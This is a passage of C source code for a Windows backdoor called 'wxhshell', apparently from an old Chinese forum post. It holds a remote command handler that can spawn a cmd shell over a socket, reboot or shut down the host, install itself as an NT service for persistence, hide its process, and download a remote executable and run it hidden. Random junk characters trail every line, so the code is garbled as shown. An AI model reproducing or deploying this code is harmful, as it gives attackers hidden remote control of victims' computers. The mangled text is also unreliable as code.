    switch(cmd[0]) { >/7KL2*  
  2uvQf&,  
  // 帮助 s(1_:  
  case '?': { }ZEfT]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w o-O_uZB  
    break; #2_o[/&}x@  
  } YWt"|  
  // 安装 qR [}EX&3  
  case 'i': { =q_&* '  
    if(Install()) 91-P)%?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [<#<:h &\  
    else p{A}p9sjx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }4bB7,j  
    break; p{mxk)A  
    } '#cT4_D^lI  
  // 卸载 zznPD%#Sc  
  case 'r': { K$MJ#Zx^  
    if(Uninstall()) ;whFaQi 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +zFV~]b  
    else , aRJ!AZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r*X}3t*  
    break; D%c7JK  
    } w?V[[$  
  // 显示 wxhshell 所在路径 p/\$P=  
  case 'p': { JLy)}8I  
    char svExeFile[MAX_PATH]; w5dI k]T  
    strcpy(svExeFile,"\n\r"); d8Q_6(Ar|  
      strcat(svExeFile,ExeFile); Bq$e|t)'  
        send(wsh,svExeFile,strlen(svExeFile),0); cCo07R  
    break; GW>7R6i  
    } Gt\K Ln  
  // 重启 /RA1d<~$q  
  case 'b': { Ft%TnEp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T+AlcOP  
    if(Boot(REBOOT)) veYsctK~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4b3F9  
    else { W2r6jm!  
    closesocket(wsh); QrNL7{  
    ExitThread(0); L|]w3}ZT@  
    } nLFx/5sL  
    break; A@@)lD.  
    } <F#*:Re_y  
  // 关机 .oi}SG  
  case 'd': { T3u5al  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j61BP8E  
    if(Boot(SHUTDOWN)) M `9orq<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >D`fp  
    else { "Cyo<|  
    closesocket(wsh); ~uhyROO,G"  
    ExitThread(0); GvZac  
    } $L<_uqSk  
    break; ?l\gh1{C  
    } `mq4WXO\  
  // 获取shell g:.,}L  
  case 's': { :Fi%Cef|  
    CmdShell(wsh); s3MMICRT.  
    closesocket(wsh); h9Tf@]W   
    ExitThread(0); Y2=Brtc[@  
    break; Oi kU$~|  
  } 0_,3/EWa  
  // 退出 X YNUss  
  case 'x': { |g?/~%7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O, ``\(P  
    CloseIt(wsh); Kh:#S|   
    break; ;G%wc!  
    } j$|Yd=  
  // 离开 G)tq/`zNw  
  case 'q': { E1l\~%A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4PO%qO  
    closesocket(wsh); /+<%,c$n  
    WSACleanup(); ;G4HMtL  
    exit(1); |7S4;  
    break; 7kX7\[zN  
        } 2vh!pez_  
  } JL.yd H79  
  } (:fE _H2z  
zCGmn& *M  
  // 提示信息 ZyS;+"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7?Qt2tr  
} h87L8qh9  
  } h-2E9Z  
OU)p)Y_z  
  return; mf*9^}l+Zn  
} G>q{~HE1  
s!j(nUd/  
// shell模块句柄 Eis%)oE  
int CmdShell(SOCKET sock) `jUS{ 3^  
{ B(en5|  
STARTUPINFO si; HjUw[Yz+6  
ZeroMemory(&si,sizeof(si)); I*vj26qvg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _} X`t8Lh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vHI"C %  
PROCESS_INFORMATION ProcessInfo; Top#u  
char cmdline[]="cmd"; 9s\i(/RxW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U7*VIRibv+  
  return 0; 3h D2C'KD  
}  &aevR^f+  
1VjeP *  
// 自身启动模式 /SqFP L]  
int StartFromService(void) M|Dwk3#  
{ cT>z  
typedef struct U3_yEvZ  
{ }<\65 B$1  
  DWORD ExitStatus; d,oOn.n&  
  DWORD PebBaseAddress; +4:+qGAJ{  
  DWORD AffinityMask; *(\;}JF-  
  DWORD BasePriority; Ghgv RR$  
  ULONG UniqueProcessId; St7D.|  
  ULONG InheritedFromUniqueProcessId; Zm; +Ku>  
}   PROCESS_BASIC_INFORMATION; <SC|A|  
~kj(s>xP  
PROCNTQSIP NtQueryInformationProcess; #o r7T^  
f<> YYeY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Xg!|F[i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $ vw}p.  
P2 K>|r  
  HANDLE             hProcess; uu@'02G8  
  PROCESS_BASIC_INFORMATION pbi; G8(i).Q  
kXZV%mnT7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UB&S 2g  
  if(NULL == hInst ) return 0; ZTBFV/{  
-4^@)~Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WW\)B-}T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vU$O{|J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qs c-e,rl  
>nIcF m  
  if (!NtQueryInformationProcess) return 0; L1Cn  
+{Jf]"KD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tls6rto  
  if(!hProcess) return 0; 0ZID @^  
bZOy~F|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l>5]Wd{/  
h-_0 A]  
  CloseHandle(hProcess); [q>i  
2$i 0yPv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l LD)i J1  
if(hProcess==NULL) return 0; ,Y\4xg*`  
Zs$RKJ7  
HMODULE hMod; ^$Eiz.  
char procName[255]; =iK6/ y`  
unsigned long cbNeeded; GaK_9Eg-2  
E]eqvTNH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %*Z2Gef?H  
}PIGj}F/  
  CloseHandle(hProcess); 9}qfdbI  
c7nk~K[6  
if(strstr(procName,"services")) return 1; // 以服务启动 +} !F(c  
z7Rcnr;  
  return 0; // 注册表启动 ,?~UpsUx  
} ,md7.z]U~  
q/2K=BOh  
// 主模块 #L4Kwy  
int StartWxhshell(LPSTR lpCmdLine) SiuO99'nV  
{ norc!?L  
  SOCKET wsl; 7si*%><X  
BOOL val=TRUE; N13;hB<  
  int port=0; C"` 'Re5)  
  struct sockaddr_in door; NK#"qK""k  
%]sEt{  
  if(wscfg.ws_autoins) Install(); .McoW7|Y  
O->(9k<  
port=atoi(lpCmdLine); =|5bhwU]  
|e-+xX|;  
if(port<=0) port=wscfg.ws_port; SSsQu^A  
uuK]<h*  
  WSADATA data; 4FHX#`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f({-j% m  
]I' xLh`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OD/P*CQ_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HxqV[|}0u  
  door.sin_family = AF_INET; 7F9g:r/^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i e)1h  
  door.sin_port = htons(port); i!}nGJGg  
}Ka.bZS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2hA66ar{$  
closesocket(wsl); fJ"~XTN}T  
return 1; L+ETMk0  
} gZ >orZL'  
w4MMo  
  if(listen(wsl,2) == INVALID_SOCKET) { & Dl'*|  
closesocket(wsl); JX@6Sg<  
return 1; ND9>`I 5  
} rIWN!@.J  
  Wxhshell(wsl); J'^$|/Q  
  WSACleanup(); 9oxf)pjw  
[qD<U%Hi  
return 0; "T1#*"{j  
H- qP>:  
} E29gnYxu8  
 H[!Q  
// 以NT服务方式启动 f, j(uP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u-M$45vct  
{ )E~\H+FP6  
DWORD   status = 0; ;3?J#e6;  
  DWORD   specificError = 0xfffffff; "JLhOTPaHf  
|VR5Q(d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E?h2e~ ,]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GGQ(|?w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =^AZx)Kwd  
  serviceStatus.dwWin32ExitCode     = 0; +?txGHQq  
  serviceStatus.dwServiceSpecificExitCode = 0; C\ >Mt  
  serviceStatus.dwCheckPoint       = 0; [W\atmd"  
  serviceStatus.dwWaitHint       = 0; (Rg!km%2T  
[ma#8p)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,<j5i?  
  if (hServiceStatusHandle==0) return; I;.E}k   
)qP{X,Uf  
status = GetLastError(); :!YJ3:\  
  if (status!=NO_ERROR) I)%jPH:ua  
{ (5DGs_>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vh9s.=*P@  
    serviceStatus.dwCheckPoint       = 0; #~-&&S4a.J  
    serviceStatus.dwWaitHint       = 0; }xlmsOHuI  
    serviceStatus.dwWin32ExitCode     = status; J8?6G&0H  
    serviceStatus.dwServiceSpecificExitCode = specificError; l=?y=2+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R^kv!x;h  
    return; qg:I+"u  
  } Y~SlipY_  
n*4X/K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B|$13dHfa  
  serviceStatus.dwCheckPoint       = 0; ,u^0V"hJ  
  serviceStatus.dwWaitHint       = 0; i\4"FO?v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [QN7+#K,  
} -R \ @W q@  
A;`U{7IST  
// 处理NT服务事件,比如:启动、停止 \HEo8~TY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "LIii1]k  
{ jz7ltoP  
switch(fdwControl) $$f$$  
{ w:xKgng=L  
case SERVICE_CONTROL_STOP: l@J|p#0q  
  serviceStatus.dwWin32ExitCode = 0; zXU{p\;)\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZBq*<VtV  
  serviceStatus.dwCheckPoint   = 0; +5|nCp6||j  
  serviceStatus.dwWaitHint     = 0; q>4i0p8^  
  { LP6FSo~K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {u6fa>R&$  
  } ,(W98}nB  
  return; et}Y4,:  
case SERVICE_CONTROL_PAUSE: `v2l1CQ: ^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3Wxtxk._E  
  break; aDv/kFfn  
case SERVICE_CONTROL_CONTINUE: |&'] ms5J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GZVl384@  
  break; fqsp1m$  
case SERVICE_CONTROL_INTERROGATE: D\*_ulc]  
  break; "UnSZ[;t  
}; <+,0 G`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #$C]0]|  
} :!!`!*!JH  
.(]1PKW  
// 标准应用程序主函数 7[0k5-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'c{]#E1}  
{ m1i$>9,  
)nxIxr0d-  
// 获取操作系统版本 2e@\6l,!^  
OsIsNt=GetOsVer(); (w B[ ]O$@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A@AGu#W  
!Y(qpC:$  
  // 从命令行安装 B4&pBiG&f6  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7]zZh a4X  
)'|W[Sh?  
  // 下载执行文件 !Qa7-  
if(wscfg.ws_downexe) { yOzKux8kB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :.df(1(RL  
  WinExec(wscfg.ws_filenam,SW_HIDE); x#mk[SV  
} Vho0f<`E  
m48Y1'4  
if(!OsIsNt) { 31Mc<4zI8  
// 如果时win9x,隐藏进程并且设置为注册表启动 6dp_R2zH~o  
HideProc(); (HKm2JuFG  
StartWxhshell(lpCmdLine); 7/!C  
} 1A.\Ao  
else jk}PucV  
  if(StartFromService()) }"H900WE|  
  // 以服务方式启动 FWTl:LqFO  
  StartServiceCtrlDispatcher(DispatchTable); @?? 6)C  
else g``4U3T%X  
  // 普通方式启动 u5M{s;{11r  
  StartWxhshell(lpCmdLine); C YKGf1;If  
@sO.g_yM  
return 0; /2cOZ1G;  
}
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只看该作者 1 发表于: 2006-10-10
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